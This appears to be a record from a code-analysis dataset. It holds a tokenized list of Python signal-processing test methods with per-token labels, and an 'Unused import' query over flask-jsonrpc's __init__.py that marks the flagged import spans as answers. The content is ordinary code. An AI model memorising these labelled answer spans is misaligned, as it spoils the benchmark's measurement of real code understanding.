"#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "detr", "end_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "detr", "end_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "unwrap", "_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "unwrap", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "complex", "\\u", "ce", "pstr", "um_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", ",_", "c_", ",_", "d_", "=_", "signal_", "._", "complex", "\\u", "ce", "pstr", "um_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "real", "\\u", "ce", "pstr", "um_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t_", ",_", "c_", "=_", "signal_", "._", "real", "\\u", "ce", "pstr", "um_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "power", "\\u", "spectrum_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "freq_", ",_", "power_", "=_", "signal_", "._", "power", "\\u", "spectrum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "phase", "\\u", "spectrum_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "freq_", ",_", "phase_", "=_", "signal_", "._", "phase", "\\u", "spectrum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "octave", "s_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "freq_", ",_", "octave", "s_", "=_", "signal_", "._", "octave", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "levels_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "times_", ",_", "levels_", "=_", "signal_", "._", "levels_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "pass_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "band", "pass_", "(_", "1000.0_", ",_", "2000", ".0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "stop_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "band", "stop_", "(_", "1000.0_", ",_", "2000", ".0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "high", "pass_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "high", "pass_", "(_", "1000.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "low", "pass_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "low", "pass_", "(_", "1000.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "octave", "pass_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "signal_", "._", "octave", "pass_", "(_", "1000.0_", ",_", "fraction_", "=_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "pass", "\\u", "frequencies_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "Equal", "Band_", "(_", "center_", "=_", "[_", "100._", ",_", "200.", "_", ",_", "300", "._", "]_", ",_", "bandwidth_", "=_", "20._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", ",_", "x_", "=_", "signal_", "._", "band", "pass", "\\u", "frequencies_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "pass", "\\u", "octave", "s_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", ",_", "x_", "=_", "signal_", "._", "octave", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "pass", "\\u", "third", "\\u", "octave", "s_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", ",_", "x_", "=_", "signal_", "._", "third", "\\u", "octave", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "band", "pass", "\\u", "fractional", "\\u", "octave", "s_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", ",_", "x_", "=_", "signal_", "._", "fractional", "\\u", "octave", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Signal_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "channel", "s", ",", " ", "samples", ",", " ", "sample", " ", "rate", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "weig", "h_", "(_", "self_", ",_", "signal_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "signal_", "._", "weig", "h_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "signal_", "._", "weig", "h_", "(_", "'", "C", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "signal_", "._", "weig", "h_", "(_", "'", "A", "'_", ",_", "zero", "\\u", "phase_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
cenobites/flask-jsonrpc/flask_jsonrpc/__init__.py
[ { "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2009 Samuel Sutch, <sam@sutch.net>\n# Copyright (c) 2012-2015, Cenobit Technologies, Inc. http://cenobit.es/\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of the Cenobit Technologies nor the names of\n# its contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\nimport re\nimport logging\nfrom functools import wraps\nfrom inspect import getargspec\n\nfrom flask.wrappers import Response\nfrom flask import current_app, request, jsonify\n\nfrom flask_jsonrpc.site import jsonrpc_site\nfrom flask_jsonrpc._compat import (b, u, text_type, string_types,\n OrderedDict, NativeStringIO)\nfrom flask_jsonrpc.types import (Object, Number, Boolean, String, Array,\n Nil, Any, Type)\nfrom flask_jsonrpc.helpers import (make_response, jsonify_status_code,\n extract_raw_data_request, authenticate)\nfrom flask_jsonrpc.exceptions import (Error, ParseError, InvalidRequestError,\n MethodNotFoundError, InvalidParamsError,\n ServerError, RequestPostError,\n InvalidCredentialsError, OtherError)\n\ndefault_site = jsonrpc_site\nKWARG_RE = re.compile(\n r'\\s*(?P<arg_name>[a-zA-Z0-9_]+)\\s*=\\s*(?P<arg_type>[a-zA-Z]+)\\s*$')\nSIG_RE = re.compile(\n r'\\s*(?P<method_name>[a-zA-Z0-9._]+)\\s*(\\((?P<args_sig>[^)].*)?\\)'\n r'\\s*(\\->\\s*(?P<return_sig>.*))?)?\\s*$')\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class JSONRPCTypeCheckingUnavailable(Exception):\n pass", "metadata": "root.JSONRPCTypeCheckingUnavailable", "header": "['module', '___EOS___']", "index": 56 }, { "content": "def _type_checking_available(sig='', validate=False):\n if not hasattr(type, '__eq__') and validate: # and False:\n raise JSONRPCTypeCheckingUnavailable(\n 'Type checking is not available in your version of Python '\n 'which is only available in Python 2.6 or later. Use Python 2.6 '\n 'or later or disable type checking in {0}'.format(sig))", "metadata": "root._type_checking_available", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def _validate_arg(value, expected):\n \"\"\"Returns whether or not ``value`` is the ``expected`` type.\n \"\"\"\n if type(value) == expected:\n return True\n return False", "metadata": "root._validate_arg", "header": "['module', '___EOS___']", "index": 66 }, { "content": "def _eval_arg_type(arg_type, T=Any, arg=None, sig=None):\n \"\"\"Returns a type from a snippit of python source. Should normally be\n something just like 'str' or 'Object'.\n\n arg_type the source to be evaluated\n T the default type\n arg context of where this type was extracted\n sig context from where the arg was extracted\n\n Returns a type or a Type\n \"\"\"\n try:\n T = eval(arg_type)\n except Exception as e:\n raise ValueError('The type of {0} could not be evaluated in {1} for {2}: {3}' \\\n .format(arg_type, arg, sig, text_type(e)))\n else:\n if type(T) not in (type, Type):\n raise TypeError('{0} is not a valid type in {1} for {2}' \\\n .format(repr(T), arg, sig))\n return T", "metadata": "root._eval_arg_type", "header": "['module', '___EOS___']", "index": 73 }, { "content": "def _parse_sig(sig, arg_names, validate=False):\n \"\"\"Parses signatures into a ``OrderedDict`` of paramName => type.\n Numerically-indexed arguments that do not correspond to an argument\n name in python (ie: it takes a variable number of arguments) will be\n keyed as the stringified version of it's index.\n\n sig the signature to be parsed\n arg_names a list of argument names extracted from python source\n\n Returns a tuple of (method name, types dict, return type)\n \"\"\"\n d = SIG_RE.match(sig)\n if not d:\n raise ValueError('Invalid method signature {0}'.format(sig))\n d = d.groupdict()\n ret = [(n, Any) for n in arg_names]\n if text_type('args_sig') in d and type(d['args_sig']) in string_types and d['args_sig'].strip():\n for i, arg in enumerate(d['args_sig'].strip().split(',')):\n _type_checking_available(sig, validate)\n if text_type('=') in arg:\n if not type(ret) is OrderedDict:\n ret = OrderedDict(ret)\n dk = KWARG_RE.match(arg)\n if not dk:\n raise ValueError('Could not parse arg type {0} in {1}'.format(arg, sig))\n dk = dk.groupdict()\n if not sum([(k in dk and type(dk[k]) in string_types and bool(dk[k].strip()))\n for k in ('arg_name', 'arg_type')]):\n raise ValueError('Invalid kwarg value {0} in {1}'.format(arg, sig))\n ret[dk['arg_name']] = _eval_arg_type(dk['arg_type'], None, arg, sig)\n else:\n if type(ret) is OrderedDict:\n raise ValueError('Positional arguments must occur '\n 'before keyword arguments in {0}'.format(sig))\n if len(ret) < i + 1:\n ret.append((text_type(i), _eval_arg_type(arg, None, arg, sig)))\n else:\n ret[i] = (ret[i][0], _eval_arg_type(arg, None, arg, sig))\n if not type(ret) is OrderedDict:\n ret = OrderedDict(ret)\n return (d['method_name'],\n ret,\n (_eval_arg_type(d['return_sig'], Any, 'return', sig)\n if d['return_sig'] else Any))", "metadata": "root._parse_sig", "header": "['module', '___EOS___']", "index": 95 }, { "content": "def _inject_args(sig, types):\n \"\"\"A function to inject arguments manually into a method signature before\n it's been parsed. If using keyword arguments use 'kw=type' instead in\n the types array.\n\n sig the string signature\n types a list of types to be inserted\n\n Returns the altered signature.\n \"\"\"\n if '(' in sig:\n parts = sig.split('(')\n sig = '{0}({1}{2}{3}'.format(\n parts[0], ', '.join(types),\n (', ' if parts[1].index(')') > 0 else ''), parts[1]\n )\n else:\n sig = '{0}({1})'.format(sig, ', '.join(types))\n return sig", "metadata": "root._inject_args", "header": "['module', '___EOS___']", "index": 140 }, { "content": "def _site_api(site):\n def wrapper(method=''):\n response_obj, status_code = site.dispatch(request, method)\n if isinstance(response_obj, Response):\n return response_obj, response_obj.status_code\n is_batch = type(response_obj) is list\n if current_app.config['DEBUG']:\n logging.debug('request: %s', extract_raw_data_request(request))\n logging.debug('response: %s, %s', status_code, response_obj)\n return jsonify_status_code(status_code, response_obj, is_batch=is_batch), status_code\n return wrapper", "metadata": "root._site_api", "header": "['module', '___EOS___']", "index": 160 }, { "content": "class JSONRPC(object):\n\n\n\n\n\n\n\n", "metadata": "root.JSONRPC", "header": "['module', '___EOS___']", "index": 173 }, { "content": " def __init__(self, app=None, service_url='/api', auth_backend=authenticate, site=default_site,\n enable_web_browsable_api=False):\n self.service_url = service_url\n self.browse_url = self._make_browse_url(service_url)\n self.enable_web_browsable_api = enable_web_browsable_api\n self.auth_backend = auth_backend\n self.site = site\n self.site_api = _site_api(site)\n if app is not None:\n self.app = app\n self.init_app(self.app)\n else:\n self.app = None", "metadata": "root.JSONRPC.__init__", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 175 }, { "content": " def _unique_name(self, suffix=''):\n st = '.'.join((self.service_url + suffix).split('/'))\n st = st[1::] if st.startswith('.') else st\n st = st[0:-1] if st.endswith('.') else st\n return st", "metadata": "root.JSONRPC._unique_name", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 189 }, { "content": " def _make_browse_url(self, service_url):\n return service_url + '/browse' \\\n if not service_url.endswith('/') \\\n else service_url + 'browse'", "metadata": "root.JSONRPC._make_browse_url", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 195 }, { "content": " def _register_browse(self, app):\n if app.config['DEBUG'] or self.enable_web_browsable_api:\n self._enable_web_browsable_api(app)", "metadata": "root.JSONRPC._register_browse", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 200 }, { "content": " def _enable_web_browsable_api(self, app, url_prefix=None):\n from flask_jsonrpc.views import browse\n if url_prefix is None:\n url_prefix = self.browse_url\n self.browse_url = url_prefix\n app.register_blueprint(browse.mod, url_prefix=url_prefix,\n jsonrpc_site_name=self._unique_name(), jsonrpc_site=self.site)", "metadata": "root.JSONRPC._enable_web_browsable_api", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 204 }, { "content": " def init_app(self, app):\n self._register_browse(app)\n app.add_url_rule(self.service_url, self._unique_name(), self.site_api, methods=['POST', 'OPTIONS'])\n app.add_url_rule(self.service_url + '/<method>', self._unique_name('/<method>'), self.site_api,\n methods=['GET', 'OPTIONS'])", "metadata": "root.JSONRPC.init_app", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 212 }, { "content": " def register_blueprint(self, blueprint):\n blueprint.add_url_rule(self.service_url, '', self.site_api, methods=['POST', 'OPTIONS'])\n blueprint.add_url_rule(self.service_url + '/<method>', '', self.site_api, methods=['GET', 'OPTIONS'])", "metadata": "root.JSONRPC.register_blueprint", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 218 }, { "content": " def method(self, name, authenticated=False, safe=False, validate=False, **options):\n def decorator(f):\n arg_names = getargspec(f)[0]\n X = {'name': name, 'arg_names': arg_names}\n if authenticated:\n # TODO: this is an assumption\n X['arg_names'] = ['username', 'password'] + X['arg_names']\n X['name'] = _inject_args(X['name'], ('String', 'String'))\n _f = self.auth_backend(f, authenticated)\n else:\n _f = f\n method, arg_types, return_type = _parse_sig(X['name'], X['arg_names'], validate)\n _f.json_args = X['arg_names']\n _f.json_arg_types = arg_types\n _f.json_return_type = return_type\n _f.json_method = method\n _f.json_safe = safe\n _f.json_sig = X['name']\n _f.json_validate = validate\n self.site.register(method, _f)\n return _f\n return decorator", "metadata": "root.JSONRPC.method", "header": "['class', 'JSONRPC', '(', 'object', ')', ':', '___EOS___']", "index": 222 } ]
[ { "span": "from functools import wraps", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 27 }, { "span": "from flask import current_app, request, jsonify", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 47 }, { "span": "from flask_jsonrpc._compat import (b, u, text_type, string_types,\n OrderedDict, NativeStringIO)", "start_line": 37, "start_column": 0, "end_line": 38, "end_column": 63 }, { "span": "from flask_jsonrpc.types import (Object, Number, Boolean, String, Array,\n Nil, Any, Type)", "start_line": 39, "start_column": 0, "end_line": 40, "end_column": 48 }, { "span": "from flask_jsonrpc.helpers import (make_response, jsonify_status_code,\n extract_raw_data_request, authenticate)", "start_line": 41, "start_column": 0, "end_line": 42, "end_column": 74 }, { "span": "from flask_jsonrpc.exceptions import (Error, ParseError, InvalidRequestError,\n MethodNotFoundError, InvalidParamsError,\n ServerError, RequestPostError,\n InvalidCredentialsError, OtherError)", "start_line": 43, "start_column": 0, "end_line": 46, "end_column": 74 } ]
[]
1
false
